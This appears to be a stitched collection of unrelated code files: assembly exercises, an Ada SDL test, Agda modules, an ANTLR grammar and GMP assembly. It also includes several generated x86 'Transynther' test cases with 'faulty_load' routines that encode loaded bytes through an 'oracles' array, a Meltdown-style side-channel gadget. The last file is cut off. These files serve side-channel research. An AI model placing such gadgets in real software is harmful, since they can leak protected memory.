mov dword [dAns1], eax
;; dAns2 = dNum1 + dNum3
mov eax, dword [dNum1]
add eax, dword [dNum3]
mov dword [dAns2], eax
;; dAns3 = dNum3 + dNum4
mov eax, dword [dNum3]
add eax, dword [dNum4]
mov dword [dAns3], eax
;; dAns6 = dNum1 - dNum2
mov eax, dword [dNum1]
sub eax, dword [dNum2]
mov dword [dAns6], eax
;; dAns7 = dNum1 - dNum3
mov eax, dword [dNum1]
sub eax, dword [dNum3]
mov dword [dAns7], eax
;; dAns8 = dNum2 - dNum4
mov eax, dword [dNum2]
sub eax, dword [dNum4]
mov dword [dAns8], eax
;; dAns11 = dNum1 * dNum3
mov eax, dword [dNum1]
imul dword [dNum3] ; Pg. 102 multi tables
mov dword [qAns11], eax
mov dword [qAns11+4], edx
;; dAns12 = dNum2 * dNum2
mov eax, dword [dNum2]
imul eax
mov dword [qAns12], eax
mov dword [qAns12+4], edx
;; dAns13 = dNum2 * dNum4
mov eax, dword [dNum2]
imul dword [dNum4]
mov dword [qAns13], eax
mov dword [qAns13+4], edx
;; dAns16 = dNum1 / dNum2
mov eax, dword [dNum1]
cdq
idiv dword [dNum2] ; Pg. 110 Divide tables
mov dword [dAns16], eax
;; dAns17 = dNum3 / dNum4
mov eax, dword [dNum3]
cdq
idiv dword [dNum4]
mov dword [dAns17], eax
;; dAns18 = qNum1 / dNum4
mov rax, qword [qNum1]
cqo ; Pg. 91 Convert qword to qword rdx:rax
movsxd rcx, dword [dNum4] ; Specific command for signed dword to qword
idiv rcx
mov dword [dAns18], eax
mov dword [dRem18], edx ; Remember the remainder is stored in dx
; Done, terminate program
last:
mov rax, SYS_EXIT ; Call code for exit
mov rdi, SUCCESS ; Exit with success
syscall
|
thirdparty/adasdl/thin/adasdl/AdaSDL/stdtest/threadwin_sprogs.adb | Lucretia/old_nehe_ada95 | 0 | 11417 |
-- ----------------------------------------------------------------- --
-- --
-- This is free software; you can redistribute it and/or --
-- modify it under the terms of the GNU General Public --
-- License as published by the Free Software Foundation; either --
-- version 2 of the License, or (at your option) any later version. --
-- --
-- This software is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- General Public License for more details. --
-- --
-- You should have received a copy of the GNU General Public --
-- License along with this library; if not, write to the --
-- Free Software Foundation, Inc., 59 Temple Place - Suite 330, --
-- Boston, MA 02111-1307, USA. --
-- --
-- ----------------------------------------------------------------- --
-- ----------------------------------------------------------------- --
-- This is a translation, to the Ada programming language, of the --
-- original C test files written by <NAME> - www.libsdl.org --
-- translation made by <NAME> - www.adapower.net/~avargas --
-- ----------------------------------------------------------------- --
with Interfaces.C.Strings;
with Ada.Text_IO; use Ada.Text_IO;
with SDL.Error;
with SDL.Active;
with SDL.Keysym;
with SDL.Mouse;
with SDL.Timer;
package body ThreadWin_Sprogs is
package It renames Interfaces;
package CS renames Interfaces.C.Strings;
use type C.int;
use type V.Surface_ptr;
use type V.Palette_ptr;
package Er renames SDL.Error;
use type Ev.Event_Mask;
package A renames SDL.Active;
use type A.Active_State;
package Ks renames SDL.Keysym;
use type Ks.Key;
package M renames SDL.Mouse;
use type M.Mouse_Button_State;
package Tm renames SDL.Timer;
use Uint8_Ptrs;
use Uint8_PtrOps;
-- Is the cursor visible
visible : Boolean := True;
type Mask_Array is
array (Integer range <>) of aliased Uint8;
pragma Convention (C, Mask_Array);
type Mask_Array_Access is access Mask_Array;
-- ======================================
procedure LoadIconSurface (
file : in string;
maskp : in out Icon_Mask_Array_Access;
icon : out V.Surface_ptr)
is
use type Interfaces.Unsigned_8;
mlen : C.int;
i : Integer;
pixels : Uint8_PtrOps.Pointer;
use V.Color_PtrOps;
begin
-- Load the icon surface
icon := V.LoadBMP (CS.New_String (file));
if icon = null then
Put_Line ("Couldn't load " & file & Er.Get_Error);
return;
end if;
-- Check width and height
if icon.w mod 8 /= 0 then
Put_Line ("Icon width must be a multiple of 8!");
V.FreeSurface (icon);
icon := null;
return;
end if;
if icon.format.palette = null then
Put_Line ("Icon must have a palette!");
V.FreeSurface (icon);
icon := null;
return;
end if;
-- Set the colorkey
V.SetColorKey (icon, V.SRCCOLORKEY,
Uint32(To_Pointer (icon.pixels).all));
-- Create the mask
pixels := Uint8_PtrOps.Pointer (To_Pointer (icon.pixels));
Put_Line ("Transparent pixel: (" &
Uint8'Image (
V.Color_ptr (
V.Color_PtrOps.Pointer (
icon.format.palette.colors) + C.ptrdiff_t (pixels.all)
).all.r
)
& "," &
Uint8'Image (
V.Color_ptr (
V.Color_PtrOps.Pointer (
icon.format.palette.colors) + C.ptrdiff_t (pixels.all)
).all.g
)
& "," &
Uint8'Image (
V.Color_ptr (
V.Color_PtrOps.Pointer (
icon.format.palette.colors) + C.ptrdiff_t (pixels.all)
).all.b
)
& ")");
mlen := icon.w * icon.h;
maskp := new V.Icon_Mask_Array (0 .. Integer(mlen/8 - 1));
maskp.all := (others => 0);
i := 0;
while i < Integer (mlen) loop
if Uint8_PtrOps.Pointer
(pixels + C.ptrdiff_t (i)
).all /= pixels.all
then
maskp (i / 8) := Uint8 (
It.Unsigned_8 (maskp (i / 8)) or 16#01#);
end if;
i := i + 1;
if i mod 8 /= 0 then
maskp (i / 8) := Shift_Left (maskp (i / 8), 1);
end if;
end loop;
end LoadIconSurface;
-- ======================================
reallyquit : Boolean := False;
-- ======================================
function FilterEvents (event : Ev.Event_ptr) return C.int is
begin
case event.the_type is
when Ev.ISACTIVEEVENT =>
-- See what happened
Put("App ");
if event.active.gain /= 0 then
Put ("gained ");
else
Put ("lost ");
end if;
if (event.active.state and A.APPACTIVE) /= 0 then
Put ("active ");
end if;
if (event.active.state and A.APPMOUSEFOCUS) /= 0 then
Put ("mouse ");
end if;
Put_Line ("input");
-- See if we are iconified or restored
if (event.active.state and A.APPACTIVE) /= 0 then
Put ("App has been ");
if event.active.gain /= 0 then
Put_Line ("restored");
else
Put_Line ("iconified");
end if;
end if;
return 0;
-- This is important! Queue it if we want to quit.
when Ev.QUIT =>
if not reallyquit then
reallyquit := True;
Put_Line ("Quit requested");
return 0;
end if;
Put_Line ("Quit demanded");
return 1;
-- Mouse and keyboard events go to threads
when Ev.MOUSEMOTION
| Ev.MOUSEBUTTONDOWN
| Ev.MOUSEBUTTONUP
| Ev.KEYDOWN
| Ev.KEYUP =>
return 1;
-- Drop all other events
when others =>
return 0;
end case;
end FilterEvents;
-- ======================================
function HandleMouse (unused : System.Address) return C.int
is
events : Ev.Events_Array (0 .. 9);
found : C.int;
mask : Ev.Event_Mask;
begin
-- Handle mouse events here
mask := (Ev.MOUSEMOTIONMASK or Ev.MOUSEBUTTONDOWNMASK or Ev.MOUSEBUTTONUPMASK);
while not done loop
Ev.PeepEventsVP (found, events, 10, Ev.GETEVENT, mask);
for i in Natural range 0 .. Natural (found) - 1 loop
case events (i).the_type is
-- We want to toggle visibility on buttonpress
when Ev.MOUSEBUTTONDOWN | Ev.MOUSEBUTTONUP =>
if events (i).button.state = SDL_PRESSED then
visible := not visible;
M.ShowCursor (Boolean'Pos(visible));
end if;
Put ("Mouse button '" & Uint8'Image (events (i).button.button));
if events (i).button.state = M.Mouse_Button_State (SDL_PRESSED) then
Put_Line ("' pressed");
else
Put_Line ("' released");
end if;
when Ev.MOUSEMOTION =>
Put_Line ("Mouse relative motion: {" &
Sint16'Image (events (i).motion.xrel) &
"," & Sint16'Image (events (i).motion.yrel) & "}");
when others => null;
end case;
end loop;
-- Give up some CPU to allow events to arrive
Tm.SDL_Delay (20);
end loop;
return 0;
end HandleMouse;
-- ======================================
function HandleKeyboard (unused : System.Address) return C.int
is
events : Ev.Events_Array (0 .. 9);
found : C.int;
mask : Ev.Event_Mask;
begin
-- Handle mouse events here
mask := (Ev.KEYDOWNMASK or Ev.KEYUPMASK);
while not done loop
Ev.PeepEventsVP (found, events, 10, Ev.GETEVENT, mask);
for i in Natural range 0 .. Natural (found) - 1 loop
case events (i).the_type is
-- We want to toggle visibility on buttonpress
when Ev.KEYDOWN | Ev.KEYUP =>
-- Allow hitting <ESC> to quit the app
if events (i).key.keysym.sym = Ks.K_ESCAPE then
done := True;
end if;
Put ("Key '" &
C.wchar_t'Image (C.wchar_t'Val (events (i).key.keysym.unicode)) &
"' has been ");
if events (i).key.state = Uint8 (SDL_PRESSED) then
Put_Line (" pressed");
else
Put_Line (" released");
end if;
when others => null;
end case;
end loop;
-- Give up some CPU to allow events to arrive
Tm.SDL_Delay (20);
end loop;
return 0;
end HandleKeyboard;
-- ======================================
end ThreadWin_Sprogs;
|
test/Succeed/Issue602.agda | redfish64/autonomic-agda | 3 | 15967 | {-# OPTIONS --guardedness-preserving-type-constructors #-}
module Issue602 where
infix 1000 ♯_
postulate
∞ : ∀ {a} (A : Set a) → Set a
♯_ : ∀ {a} {A : Set a} → A → ∞ A
♭ : ∀ {a} {A : Set a} → ∞ A → A
{-# BUILTIN INFINITY ∞ #-}
{-# BUILTIN SHARP ♯_ #-}
{-# BUILTIN FLAT ♭ #-}
data CoNat : Set0 where
z : CoNat
s : ∞ CoNat → CoNat
record A : Set2 where
field
f : Set1
record B (a : ∞ A) : Set1 where
field
f : A.f (♭ a)
postulate
a : A
e : CoNat → A
e z = a
e (s n) = record
{ f = B (♯ e (♭ n))
}
|
Lists/Fold/Fold.agda | Smaug123/agdaproofs | 4 | 5143 | <reponame>Smaug123/agdaproofs
{-# OPTIONS --safe --warning=error --without-K #-}
open import Lists.Definition
module Lists.Fold.Fold {a b : _} {A : Set a} {B : Set b} where
fold : (f : A → B → B) → B → List A → B
fold f default [] = default
fold f default (x :: l) = f x (fold f default l)
|
libsrc/oz/ozscreen/ozsetlcdstate.asm | dex4er/deb-z88dk | 1 | 105246 | <gh_stars>1-10
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by <NAME>
; by <NAME> - Oct. 2003
;
;
; display backlight control functions
;
;
; ozsetlcdstate - service routine
;
;
; ------
; $Id: ozsetlcdstate.asm,v 1.1 2003/10/21 17:15:21 stefano Exp $
;
XLIB ozsetlcdstate
XREF s_ozlcdstatus
LIB restore_a000
ozsetlcdstate:
pop de
pop hl ;; status to set
push hl
push de
xor a
out (3),a
ld a,3
out (4),a ;; page in page 300h
ld (0a000h),hl
ld (s_ozlcdstatus),hl
jp restore_a000
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_74.asm | ljhsiun2/medusa | 9 | 25319 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x348, %r11
nop
nop
dec %r9
movups (%r11), %xmm4
vpextrq $0, %xmm4, %r14
nop
nop
inc %rdi
lea addresses_UC_ht+0x5bbe, %rsi
lea addresses_D_ht+0x2158, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
dec %r9
mov $23, %rcx
rep movsw
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_D_ht+0x9226, %rsi
lea addresses_WC_ht+0x79fe, %rdi
nop
nop
nop
nop
sub %rbp, %rbp
mov $118, %rcx
rep movsl
nop
and $7156, %rdi
lea addresses_WT_ht+0xb026, %rsi
lea addresses_UC_ht+0x8fc6, %rdi
add $48530, %r11
mov $30, %rcx
rep movsw
nop
nop
add $43347, %rsi
lea addresses_WT_ht+0xf3ea, %rdi
xor $25797, %r9
movb (%rdi), %r11b
nop
nop
dec %rdi
lea addresses_WC_ht+0x14226, %rsi
lea addresses_normal_ht+0x136ba, %rdi
nop
nop
inc %rbx
mov $93, %rcx
rep movsl
mfence
lea addresses_UC_ht+0xc796, %rsi
dec %rbp
movb (%rsi), %r14b
xor $21479, %rbp
lea addresses_UC_ht+0xbd26, %rcx
nop
xor %r9, %r9
mov $0x6162636465666768, %rdi
movq %rdi, (%rcx)
nop
nop
cmp %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r9
push %rcx
push %rdi
// Load
mov $0xea, %r9
nop
nop
nop
nop
add $11833, %r15
movb (%r9), %r13b
dec %r15
// Faulty Load
lea addresses_WC+0x19e26, %rcx
nop
and $7049, %r14
mov (%rcx), %r9
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/main/antlr/Assembly.g4 | atcas/AssemblySolidityAntlr | 0 | 2923 | grammar Assembly;
assemblyBlockProgram :'assembly' assemblyBlock+ EOF;
assemblyBlock : '{' assemblyItem* '}';
assemblyItem :
Identifier |
assemblyBlock |
// assemblyCase assemblyBlock |
// assemblySwitch |
functionalAssemblyExpression |
assemblyLocalDefinition |
functionalAssemblyAssignment |
assemblyAssignment |
labelDefinition |
assemblySwitch |
assemblyFunctionDefinition |
assemblyFor |
'break' | 'continue' |
subAssembly | 'dataSize' '(' Identifier ')' |
linkerSymbol |
'errorLabel' | 'bytecodeSize' |
numberLiteral | StringLiteral
| HexLiteral
;
dataValue : numberLiteral | StringLiteral
| HexLiteral|Identifier ;
Identifier : [a-zA-Z_$] [a-zA-Z_0-9]*;
functionalAssemblyExpression : Identifier '(' ( assemblyItem ( ',' assemblyItem )* )? ')';
assemblyLocalDefinition : 'let' identifierOrList ':=' functionalAssemblyExpression
|'let' identifierOrList ':='dataValue;
functionalAssemblyAssignment : identifierOrList ':=' functionalAssemblyExpression
| identifierOrList ':='dataValue;
identifierOrList : Identifier | '(' identifierList ')';
identifierList : Identifier ( ',' Identifier)*;
assemblyAssignment : '=:' Identifier;
labelDefinition : Identifier ':';
assemblySwitch : 'switch' functionalAssemblyExpression assemblyCase*
( 'default' ':' assemblyBlock )?
|'switch' Identifier assemblyCase*
( 'default' ':' assemblyBlock )?;
assemblyCase : 'case' functionalAssemblyExpression ':' assemblyBlock
|'case' dataValue ':' assemblyBlock
| dataValue ':' assemblyBlock;
assemblyFunctionDefinition : 'function' Identifier '(' identifierList? ')'
( '->' '(' identifierList ')' )? assemblyBlock
|'function' Identifier '(' identifierList? ')'
( '->' identifierList )? assemblyBlock;
assemblyFor : 'for' ( assemblyBlock | functionalAssemblyExpression)
functionalAssemblyExpression ( assemblyBlock | functionalAssemblyExpression) assemblyBlock;
subAssembly : 'assembly' Identifier assemblyBlock;
linkerSymbol : 'linkerSymbol' '(' StringLiteral ')';
numberLiteral : HexNumber | DecimalNumber;
HexLiteral : 'hex' ('"' ([0-9a-fA-F] [0-9a-fA-F] )* '"' | '\'' ([0-9a-fA-F][0-9a-fA-F])* '\'');
StringLiteral : '"' ([^"\r\n\\] | '\\' .)* '"';
HexNumber : '0x' [0-9a-fA-F]+;
DecimalNumber : [0-9]+;
WhiteSpaces
: [\t\u000B\u000C\u0020\u00A0]+ -> channel(HIDDEN)
;
/// 7.4 Comments
MultiLineComment
: '/*' .*? '*/' -> channel(HIDDEN)
;
/*
SingleLineComment
: '//' ~[\r\n\u2028\u2029]* -> channel(HIDDEN)
;
*
[\r\n]
*/
SingleLineComment
: '//' ~[\r\n]* -> channel(HIDDEN)
;
NEWLINE
: '\r'? '\n' -> channel(HIDDEN)
;
WS
: [ \t\f]+ -> channel(HIDDEN)
;
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_885.asm | ljhsiun2/medusa | 9 | 81762 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %rax
push %rbp
lea addresses_A_ht+0x1c8c0, %rbp
nop
nop
and %r15, %r15
mov $0x6162636465666768, %r14
movq %r14, %xmm5
movups %xmm5, (%rbp)
nop
and %rax, %rax
pop %rbp
pop %rax
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %rax
push %rbp
push %rbx
push %rdi
push %rsi
// Store
lea addresses_D+0x8bf0, %r14
clflush (%r14)
nop
nop
nop
nop
add $42681, %rbp
mov $0x5152535455565758, %rsi
movq %rsi, (%r14)
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %r13
nop
nop
nop
nop
and $15869, %rbp
// Store
lea addresses_WT+0x1480a, %r14
and $31607, %rbx
movw $0x5152, (%r14)
nop
xor $25222, %r14
// Faulty Load
lea addresses_WT+0x43f0, %rax
nop
nop
nop
nop
cmp $6655, %rdi
mov (%rax), %rbp
lea oracles, %rbx
and $0xff, %rbp
shlq $12, %rbp
mov (%rbx,%rbp,1), %rbp
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
externals/mpir-3.0.0/mpn/alpha/umul.asm | JaminChan/eos_win | 12 | 166409 | dnl mpn_umul_ppmm -- 1x1->2 limb multiplication
dnl Copyright 1999, 2000, 2002 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 2.1 of the License, or (at
dnl your option) any later version.
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write
dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
dnl Boston, MA 02110-1301, USA.
include(`../config.m4')
C mp_limb_t mpn_umul_ppmm (mp_limb_t *lowptr, mp_limb_t m1, mp_limb_t m2);
C
ASM_START()
PROLOGUE(mpn_umul_ppmm)
mulq r17, r18, r1
umulh r17, r18, r0
stq r1, 0(r16)
ret r31, (r26), 1
EPILOGUE()
ASM_END()
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_179.asm | ljhsiun2/medusa | 9 | 247469 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1b756, %rcx
nop
nop
nop
sub $29901, %rdx
movups (%rcx), %xmm1
vpextrq $1, %xmm1, %r10
nop
nop
nop
nop
add %r10, %r10
lea addresses_WC_ht+0x1c39d, %rbp
nop
nop
nop
nop
nop
and %r14, %r14
movl $0x61626364, (%rbp)
xor %rdx, %rdx
lea addresses_normal_ht+0x1819d, %rcx
nop
nop
xor $971, %r11
mov $0x6162636465666768, %rbp
movq %rbp, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_WC_ht+0x99d, %r14
clflush (%r14)
nop
nop
nop
nop
and $21442, %r11
movw $0x6162, (%r14)
nop
nop
nop
sub $9179, %rdx
lea addresses_D_ht+0x18c70, %rsi
lea addresses_A_ht+0xfd9d, %rdi
nop
nop
xor $56200, %r11
mov $113, %rcx
rep movsl
nop
xor %rsi, %rsi
lea addresses_normal_ht+0xf1a1, %rdi
nop
nop
nop
nop
nop
add $33161, %r14
mov $0x6162636465666768, %r12
movq %r12, %xmm4
